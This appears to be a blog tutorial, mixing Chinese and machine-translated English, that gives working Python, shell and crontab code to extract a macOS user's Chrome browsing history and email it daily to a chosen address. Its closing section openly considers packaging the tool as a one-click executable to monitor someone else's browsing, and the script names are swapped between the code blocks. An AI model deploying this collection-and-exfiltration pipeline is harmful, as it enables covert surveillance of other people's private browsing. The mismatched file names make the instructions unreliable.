Read the text takes about 5 minutes.
！
demand:
(1) Get your day and see all the URL (url) recorded in the previous objects chrome and access time, and there is a txt file
(2) sends this txt file to the specified e-mail address (your email)
(3) establish a routine task, every day regular automatic completion of these operations, you can view your subject through the mail every day to see what
background:
(1) History of chrome under mac Where? How to get the URL (url) and access time?
A: Path: / Users / username / Library / Application \ Support / Google / Chrome / Default / History
History: is a SQLite database, in fact, a file, you can use DB Browser for SQLite
To view all of the information, the information we want in the urls table
How to obtain: the built-in python sqlite3 database connection History, get the information we want by sql
(2) how to send a message with attachments?
A: Use the built-in email and python smtplib two modules to construct and send messages
(3) how to automate these processes?
A: Use the shell script to connect these processes, then use the crontab command timed run
ready
macOS Sierra
Python3.6
Chrome
Qq-mail address to send mail
qq-mail authorization code
SMTP server address: smtp.qq.com
Accept mail e-mail address
carried out:
(1) First we History data in Table urls composition with DB Browser for SQLite look at
As can be seen from the table, we want the URL and access time in the urls.url and urls.last_visit_time
(2) get_history.py：
# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse
# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()
# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))
#连接服务器(这里大家好改成自己的！)
from_addr = "[email protected]" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "[email protected]" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址
#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()
# 邮件正文是MIMEText:
msg.attach(MIMEText('窥探隐私是犯法的啊！', 'plain', 'utf-8'))
# 添加附件就是加上一个MIMEBase，从本地读取一个txt文件:
with open(args.affix_file, 'r') as f:
# 设置附件的MIME和文件名，这里是py类型:
mime = MIMEBase('result', 'txt', filename='result.txt')
# 加上必要的头信息:
mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
mime.add_header('Content-ID', '<0>')
mime.add_header('X-Attachment-Id', '0')
# 把附件的内容读进来:
mime.set_payload(f.read())
# 用Base64编码:
encoders.encode_base64(mime)
# 添加到MIMEMultipart:
msg.attach(mime)
#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()
通过这个脚本，我们可以把url和访问时间提取出来，并且存储在 result.txt中，下图就是我得到的部分结果
(3) send_email.py：
# -*- coding: utf-8 -*-
import sqlite3
#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'
# 1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()
# 2.选取我们想要的网址和访问时间
try:
select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
cursor.execute(select_statement)
except sqlite3.OperationalError:
print("[!] The database is locked! Please exit Chrome and run the script again.")
quit()
# 3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径
for i in range(len(results)):
f.write(results[i][1]+'\n')
f.write(results[i][0]+'\n')
通过这个脚本，我们可以把result.txt作为附件，发送给指定邮箱地 址，下图是我得到的部分结果
(4) ./start.sh ：其实，前面几个脚本，已经完成了我们的任务，但是每次都执行这么多脚 本，太麻烦了，我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/ python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样，我们在终端执行./start.sh，系统就会帮我们把这三条语句依次执行了
注意：由于crontab命令需要绝对路径，所以这里的路径都是用绝对路径
(5) crontab ：如果使用了这个命令，在电脑开机并且联网的情况，系统会自动执行，然后把结果发到你的邮箱
使用方法：在终端下输入crontab -e，使用vim输入下面一行代码就可以了
20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh
说明：前面两个数字，就是你每天执行这个脚本的时间，我这里设置的是14：20。
重要的事再说一遍，一定要写绝对路径！！！
问题：
1.server.login(from_addr, password)函数中的password不是邮箱密码，在qq邮箱中，指的是授权码
答：qq邮箱授权码：什么是授权码，它又是如何设置？_QQ邮箱帮助中心
2.访问History数据库时，显示The database is locked!
答：在我们打开浏览器的同时去访问History时，就会出现这种情况，有两种解决办法：
(1)关闭浏览器，再去访问
(2)把History拷贝到其他文件夹中，然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答：last_visit_time是微秒，所以要除以10^6；
last_visit_time的起始值是1601年1月1日0时0分0秒，所以要减去11644473600；
筛选昨天的数据：现在的日期与last_visit_time的差值小于1的数据，就是距离当前时
间小于1天的数据
4.crontab出错
答：crontab中所有路径都要写绝对路径，包括py脚本中的路径也要写绝对路径！
5. 路径 问题
答：大家在复现的时候，要注意把 路径 改成自己电脑上的，还有那个邮箱相关的信息也要改成自己的。
总结：
1.运用python连接SQLite数据库，并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的，这篇文章只是我自己瞎玩的，实际可行性不强
展望：
1. These packaged into a single executable file, double-click can be directly deployed, and can be cross-platform
2. Currently the script, only the computer is turned on and when the network can automatically, so not ideal monitor someone else's browsing history Oh!